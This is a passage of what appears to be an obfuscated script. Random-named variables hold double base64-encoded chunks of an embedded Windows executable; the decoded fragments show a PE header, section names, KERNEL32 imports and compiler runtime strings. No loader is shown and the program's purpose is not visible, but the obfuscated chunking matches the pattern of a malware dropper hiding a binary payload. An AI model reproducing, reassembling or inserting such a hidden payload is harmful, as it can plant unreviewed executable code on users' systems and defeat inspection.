QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" ukSyHuWLSaVUrwVfEfCREVehGPjvISzxLOwkzbNqIAmVy = "QlhrRmRRVnhmWGx0ZHc4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek14QVUwaUQ3RkJJaXdYTGVRQUFTRFBFU0lsRUpFREhSQ1F3QUFBQUFNZEVKRFFBQUFBQXgwUWtPQUFBQUFBendEUEpENkpNalVRa0lFR0pBRUdKV0FSQmlVZ0lRWWxRRExnRUFBQUFTR3ZBQUl0RUJDQ0pSQ1FVdUFRQUFBQklhOEFCaTBRRUlEVkhaVzUxdVFRQUFBQklhOGtEaTB3TUlJSHhhVzVsU1F2QnVRUUFBQUJJYThrQ2kwd01JSUh4Ym5SbGJBdkJoY0IxQ3NkRUpBd0JBQUFBNndqSFJDUU1BQUFBQUErMlJDUU1pQVFrdUFRQUFBQklhOEFCaTBRRUlEVkJkWFJvdVFRQUFBQklhOGtEaTB3TUlJSHhaVzUwYVF2QnVRUUFBQUJJYThrQ2kwd01JSUh4WTBGTlJBdkJoY0IxQ3NkRUpC" kiwEfSwbhkXperQLoELoyBXdrSpxHTAXgsYTrLTUuiZPImsimfJRFNPSwgkmKnZNVrXq = "QUFNS3dCUUFFQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQ0FBQUFBQUFBQUVDc0FVQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQnVieUIzWVhraElTRUFBQUJpWVdRQVoyOXZaQUFBQUFEd3JRRkFBUUFBQUFDdkFVQUJBQUFBV0xBQlFBRUFBQUNBc0FGQUFRQUFBTUN3QVVBQkFBQUErTEFCUUFFQUFBQUJBQUFBQUFBQUFBRUFBQUFCQUFBQUFRQUFBQUVBQUFCVGRHRmpheUJoY205MWJtUWdkR2hsSUhaaGNtbGhZbXhsSUNjQUFBQUFBQ2NnZDJGeklHTnZjbkoxY0hSbFpDNEFBQUFBQUFBQUFGUm9aU0IyWVhKcFlXSnNaU0FuQUFBbklHbHpJR0psYVc1bklIVnpaV1FnZDJsMGFHOTFkQ0JpWldsdVp5QnBibWwwYVdGc2FYcGxaQzRBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBVkdobElIWmhiSFZsSUc5bUlFVlRVQ0IzWVhNZ2JtOTBJSEJ5YjNCbGNteDVJSE5oZG1Wa0lHRmpjbTl6Y3lCaElHWjFibU4wYVc5dUlHTmhiR3d1SUNCVWFHbHpJR2x6SUhWemRXRnNiSGtnWVNCeVpYTjFiSFFnYjJZZ1kyRnNi" BnBfMYeYWEZEQqZZgBiphAzpawtwRnSUfnIatVlrrPKgoagdMIs = "QUFBQUFBQUFGSmxaME5zYjNObFMyVjVBQUFBQUFCVEFFOEFSZ0JVQUZjQVFRQlNBRVVBWEFCWEFHOEFkd0EyQURRQU13QXlBRTRBYndCa0FHVUFYQUJOQUdrQVl3QnlBRzhBY3dCdkFHWUFkQUJjQUZZQWFRQnpBSFVBWVFCc0FGTUFkQUIxQUdRQWFRQnZBRndBTVFBMEFDNEFNQUJjQUZNQVpRQjBBSFVBY0FCY0FGWUFRd0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCUUFISUFid0JrQUhVQVl3QjBBRVFBYVFCeUFBQUFBQUFBQUFBQUFBQUFBRVFBVEFCTUFBQUFBQUFBQUFBQUFBQk5BRk1BVUFCRUFFSUFNUUEwQURBQUFBQUFBQUFBQUFCTkFGTUFVQUJFQUVJQU1RQTBBREFBQUFBQUFBQUFBQUJRUkVKUGNHVnVWbUZzYVdSaGRHVTFBQUFBQUhJQUFBQUFBQUFBQUFBQUFFQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBSTBBRkFBUUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBTUFKQUFRQUFBQ0F3QWtBQkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" zIlByGQtxrTAJVlTCjNloPoxQZyhA = "OHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16RWlEN0JpRFBhbU9BQUFBZFFuSEJDUUJBQUFBNndmSEJDUUFBQUFBaXdRa1NJUEVHTVBNek16TXpNek16TXpNekVpTkJSbVhBQUREek16TXpNek16TXhJalFYeGxnQUF3OHpNek16TXpNek1pVXdrQ01jRnhwWUFBQUFBQUFERHpNek16TXpNek16TXpNek16TXpNek15SlRDUUlWMGlCN1BBRkFBQzVGd0FBQVA4VnFjNEFBSVhBZEF1TGhDUUFCZ0FBaThqTktia0RBQUFBNkxYUS8vOUlqWVFrSUFFQUFFaUwrRFBBdWRBRUFBRHpxa2lOakNRZ0FRQUEveFhtelFBQVNJdUVKQmdDQUFCSWlVUWtVRVV6d0VpTlZDUllTSXRNSkZEL0ZjN05BQUJJaVVRa1NFaURmQ1JJQUhSQlNNZEVKRGdBQUFBQVNJMUVKSEJJaVVRa01FaU5SQ1I0U0lsRUpDaElqWVFrSUFFQUFFaUpSQ1FnVEl0TUpFaE1pMFFrVUVpTFZDUllNOG4vRllqTkFBQklpNFFrK0FVQUFFaUpoQ1FZQWdBQVNJMkVKUGdGQUFCSWc4QUlTSW1FSkxnQkFBQklqWVFrZ0FBQUFFaUwrRFBBdVpnQUFBRHpxc2VFSklBQUFBQVZBQUJBeDRRa2hBQUFBQUVBQUFCSWk0UWsrQVVBQUVpSmhDU1FBQUFBL3hYMHpBQUFnL2dCZFFmR1JDUkFBZXNGeGtRa1FBQVB0a1FrUUloRUpFRklqWVFrZ0FBQUFFaUpSQ1JnU0kyRUpDQUJBQUJJaVVRa2FEUEoveFY0elFBQVNJMU1KR0QvRmVYTUFBQ0pSQ1JF" czyBdpTqXRwcJVOUWkrggOGUymhuCzDOujPPMDouEPSuUgJxYKOviAjHVP = "UVZSQlZVRldRVmRJZ2V5d0RnQUFTSXNGVHFRQUFFZ3p4RWlKaENTUURnQUFSVFB0U1dQb1JZdjFUWXY1Ukl2aVNJdlo2TERrLy85SWkvaEloY0IxQzBpTHkraHI1Ly8vVEl2d1JJbHNKQ2hCdWYvLy8vOU5pOGRNaVd3a0lEUFNTSW0wSktnT0FBQzU2ZjBBQVA4VkFlUUFBRWhqeUVpQitRQUNBQUJ6TTRsRUpDaEJ1Zi8vLy85SWpZUWtrQW9BQUUyTHh6UFNTSWxFSkNDNTZmMEFBUDhWenVNQUFFaU50Q1NRQ2dBQWhjQjFCMGlOTmNPRUFBQzVBaEFBQU9oWit2Ly9oTUIwSVVpTkRjYUFBQUJNaTg2TEZLbE1pOE9MemVpTyt2Ly9oTUFQaFVzQkFBRHJBckFCVFlYMmRRbEloZjhQaERnQkFBQ0V3SFFPL3hWaTR3QUFoY0FQaFNZQkFBQklqWVFrWUFJQUFNZEVKQ2dFQVFBQVNJMUwrMGlKUkNRZ1RJMU1KRUJCdUFRQkFBQklqVlFrVU9qSDVmLy9TSVgvZENwSWlYUWtNRWlOQmNPRUFBQ0piQ1FvVEkyTUpHQUNBQUJJaVVRa0lFaU5WQ1JRU0l2SDZiWUFBQUJNaVd3a09FaU5oQ1J3QkFBQVRJbHNKREJNalVRa1VNZEVKQ2dLQXdBQVNJMDl6NFFBQUVHNS8vLy8vMGlKUkNRZ005SzU2ZjBBQVA4VjErSUFBRXlKYkNRNFNJMmNKSEFFQUFDRndFeUpiQ1F3U0kyRUpJQUhBQURIUkNRb0NnTUFBRWdQUk45SWlVUWtJRFBTVEkyRUpHQUNBQUJCdWYvLy8vOUlqVDJMaEFBQXVlbjlBQUQvRllqaUFBQk1pWHdrTUV5" BgcwqEuOjbRLfvYOkIeO = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" izdNRwcJTeFo = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVFFQkFRRUJBUUVCQVFFQkFRRUJBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" YGBHxOaXgIoKdqWzNQGNHtqUEMzos = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBRVBCU1VQSXdvQkhRQURj" gkPIowzPeMzZhIlu = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" XgBQyggOVzqWSVBIMaefHTOEuQxOQwtSFrvMUrNTrUEmiUZJUAtcTscKrDnJrBZyw = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" RseODqsHZOcDsHSeQJsCp = "QUFBQUFBQUF1ZEdWNGRHSnpjd0FBQVFBQUVBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNnQUFEZ0xuUmxlSFFBQUFDUGdRQUFBQkFCQUFDQ0FBQUFCQUFBQUFBQUFBQUFBQUFBQUFBQUlBQUFZQzV5WkdGMFlRQUFQUzRBQUFDZ0FRQUFNQUFBQUlZQUFBQUFBQUFBQUFBQUFBQUFBRUFBQUVBdVpHRjBZUUFBQVBBSUFBQUEwQUVBQUFJQUFBQzJBQUFBQUFBQUFBQUFBQUFBQUFCQUFBREFMbkJrWVhSaEFBQklJUUFBQU9BQkFBQWlBQUFBdUFBQUFBQUFBQUFBQUFBQUFBQUFRQUFBUUM1cFpHRjBZUUFBR1E4QUFBQVFBZ0FBRUFBQUFOb0FBQUFBQUFBQUFBQUFBQUFBQUVBQUFFQXViWE4yWTJwdFl4SUJBQUFBSUFJQUFBSUFBQURxQUFBQUFBQUFBQUFBQUFBQUFBQkFBQURBTGpBd1kyWm5BQUIxQVFBQUFEQUNBQUFDQUFBQTdBQUFBQUFBQUFBQUFBQUFBQUFBUUFBQVFDNXljM0pqQUFBQVBBUUFBQUJBQWdBQUJnQUFBTzRBQUFBQUFBQUFBQUFBQUFBQUFFQUFBRUF1Y21Wc2IyTUFBSFVDQUFBQVVBSUFBQVFBQUFEMEFBQUFBQUFBQUFBQUFBQUFBQUJBQUFCQ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" xdBS = "ek16TXpNek16TXpNek16TXpNekVpSlRDUUlTSVBzS0VpRGZDUXdBSFVFTXNEcmNFaUxSQ1F3U0lrRUpFaUxCQ1FQdHdBOVRWb0FBSFFFTXNEclZVaUxCQ1JJWTBBOFNJc01KRWdEeUVpTHdVaUpSQ1FRU0l0RUpCQklpVVFrQ0VpTFJDUUlnVGhRUlFBQWRBUXl3T3NqU0l0RUpBaElnOEFZU0lsRUpCaElpMFFrR0ErM0FEMExBZ0FBZEFReXdPc0NzQUZJZzhRb3c4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1aVWlMQkNVd0FBQUF3OHpNek16TXpFaUQ3RWpvNHRqLy80WEFkUVF5d090TTZMRGEvLzlJaTBBSVNJbEVKQ2hJaTBRa0tFaUpSQ1F3U0kwTnNKOEFBRFBBU0l0VUpERHdTQSt4RVVpSlJDUWdTSU44SkNBQWRCSklpMFFrSUVnNVJDUW9kUVN3QWVzRTY4UXl3RWlEeEVqRHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSVBzS09oaTJQLy9oY0IwQitnZzJ2Ly82eExvS2RuLy80WEFkQVF5d09zSDZEYlkvLyt3QVVpRHhDakR6TXpNek16TXpNek16TXpNek16TXpNek16RWlEN0NnenllakIxLy8vRDdiQWhjQjFCRExBNndLd0FVaUR4Q2pEek16TXpNek16TXpNek16TXpNek16TXpNekVpRDdDam9pZGYvL3crMndJWEFkUVF5d09zWDZETFkvLzhQdHNDRndIVUo2Ty9YLy84eXdPc0NzQUZJZzhRb3c4ek16TXpNek16TXpNek16" gAeijdYgfomMRoOeMejpaoIYRXooMsJRSX = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" TpxkVXqMUpsPDfXyHhBcXTCkqGNpjIL = "UWNtOWpRV1JrY21WemN3QUFTMFZTVGtWTU16SXVaR3hzQUFBOEFHMWxiV053ZVFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" PIkxRHBZXbWiGvPkUBnCkhaGEtGOaTVcZkOejmvrTsocw = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" VEYGvieIXwNQYBkFyYgJLRPRfUMBOcvwKNCsAFLihTKZJAAEf = "VFZxUUFBTUFBQUFFQUFBQS8vOEFBTGdBQUFBQUFBQUFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUErQUFBQUE0ZnVnNEF0QW5OSWJnQlRNMGhWR2hwY3lCd2NtOW5jbUZ0SUdOaGJtNXZkQ0JpWlNCeWRXNGdhVzRnUkU5VElHMXZaR1V1RFEwS0pBQUFBQUFBQUFDUmZPckIxUjJFa3RVZGhKTFZIWVNTYW1HRms5WWRoSkpxWVlHVHpSMkVrbXBoZ0pQZUhZU1NhbUdIazlZZGhKSUdiNFdUMFIyRWt0VWRoWktkSFlTU0RXQ0JrOVFkaEpJTllIdVMxQjJFa2cxZ2hwUFVIWVNTVW1samFOVWRoSklBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQlFSUUFBWklZS0FPSWJOR1FBQUFBQUFBQUFBUEFBSWdBTEFnNGpBSUlBQUFCNkFBQUFBQUFBYkJJQkFBQVFBQUFBQUFCQUFRQUFBQUFRQUFBQUFnQUFCZ0FBQUFBQUFBQUdBQUFBQUFBQUFBQmdBZ0FBQkFBQUFBQUFBQU1BWUlFQUFCQUFBQUFBQUFBUUFBQUFBQUFBQUFBUUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQUFBQUFBQ3dFd0lBVUFBQUFBQkFBZ0E4QkFBQUFPQUJBRFFkQUFBQUFBQUFBQUFBQUFCUUFnQnNBQUFBNExnQkFEZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQmd0d0VBUUFFQUFBQUFBQUFBQUFBQUFCQUNBTEFEQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" RSEcHbLzGYqWPqwV = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB